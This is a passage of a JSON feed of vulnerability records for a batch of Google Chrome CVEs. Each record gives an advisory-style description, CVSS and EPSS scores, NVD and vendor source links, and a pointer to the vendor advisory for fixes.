a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.070Z","updatedAt":"2026-10-22T15:32:51.010Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113111","asOf":"2026-10-22T15:32:51.010Z"},"epss":{"probability":0.00417,"percentile":0.35722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113111","type":"primary","publishedAt":"2026-10-20T22:19:03.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113110","cveId":"CVE-2026-113110","aliases":[],"kind":"vulnerability","title":"Memory corruption in ShadowDOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ShadowDOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in ShadowDOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.963Z","updatedAt":"2026-10-22T15:33:00.753Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113110","asOf":"2026-10-22T15:33:00.753Z"},"epss":{"probability":0.00417,"percentile":0.35719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113110","type":"primary","publishedAt":"2026-10-20T22:19:02.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113109","cveId":"CVE-2026-113109","aliases":[],"kind":"vulnerability","title":"Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.850Z","updatedAt":"2026-10-22T15:33:07.213Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113109","asOf":"2026-10-22T15:33:07.213Z"},"epss":{"probability":0.00417,"percentile":0.35722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113109","type":"primary","publishedAt":"2026-10-20T22:19:02.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113108","cveId":"CVE-2026-113108","aliases":[],"kind":"vulnerability","title":"Use after free in Script in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Script in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Script in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.740Z","updatedAt":"2026-10-22T15:33:29.873Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113108","asOf":"2026-10-22T15:33:29.873Z"},"epss":{"probability":0.00417,"percentile":0.35714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113108","type":"primary","publishedAt":"2026-10-20T22:19:02.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113107","cveId":"CVE-2026-113107","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Media in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.620Z","updatedAt":"2026-10-23T18:14:02.767Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113107","asOf":"2026-10-23T18:14:02.767Z"},"epss":{"probability":0.00452,"percentile":0.39026,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113107","type":"primary","publishedAt":"2026-10-20T22:19:02.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113106","cveId":"CVE-2026-113106","aliases":[],"kind":"vulnerability","title":"Memory corruption in Skia in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Skia in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Skia in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.510Z","updatedAt":"2026-10-22T15:33:33.707Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113106","asOf":"2026-10-22T15:33:33.707Z"},"epss":{"probability":0.00417,"percentile":0.35712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113106&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113106","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113106","type":"primary","publishedAt":"2026-10-20T22:19:02.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113106&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113106, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113105","cveId":"CVE-2026-113105","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.403Z","updatedAt":"2026-10-22T15:33:38.740Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113105","asOf":"2026-10-22T15:33:38.740Z"},"epss":{"probability":0.00417,"percentile":0.35713,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113105&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113105","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113105","type":"primary","publishedAt":"2026-10-20T22:19:02.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113105&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113105, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113104","cveId":"CVE-2026-113104","aliases":[],"kind":"vulnerability","title":"Memory corruption in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.290Z","updatedAt":"2026-10-22T15:33:42.437Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113104","asOf":"2026-10-22T15:33:42.437Z"},"epss":{"probability":0.00417,"percentile":0.35713,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113104","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113104","type":"primary","publishedAt":"2026-10-20T22:19:02.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113103","cveId":"CVE-2026-113103","aliases":[],"kind":"vulnerability","title":"Use after free in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:02.180Z","updatedAt":"2026-10-22T15:33:47.420Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113103","asOf":"2026-10-22T15:33:47.420Z"},"epss":{"probability":0.00528,"percentile":0.44388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113103","type":"primary","publishedAt":"2026-10-20T22:19:02.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113101","cveId":"CVE-2026-113101","aliases":[],"kind":"vulnerability","title":"Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.940Z","updatedAt":"2026-10-22T15:33:57.900Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113101","asOf":"2026-10-22T15:33:57.900Z"},"epss":{"probability":0.00448,"percentile":0.38655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113101","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113101","type":"primary","publishedAt":"2026-10-20T22:19:01.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113100","cveId":"CVE-2026-113100","aliases":[],"kind":"vulnerability","title":"Memory corruption in Audio in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Audio in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Audio in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.827Z","updatedAt":"2026-10-22T15:34:01.910Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113100","asOf":"2026-10-22T15:34:01.910Z"},"epss":{"probability":0.00417,"percentile":0.35724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113100&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113100","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113100","type":"primary","publishedAt":"2026-10-20T22:19:01.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 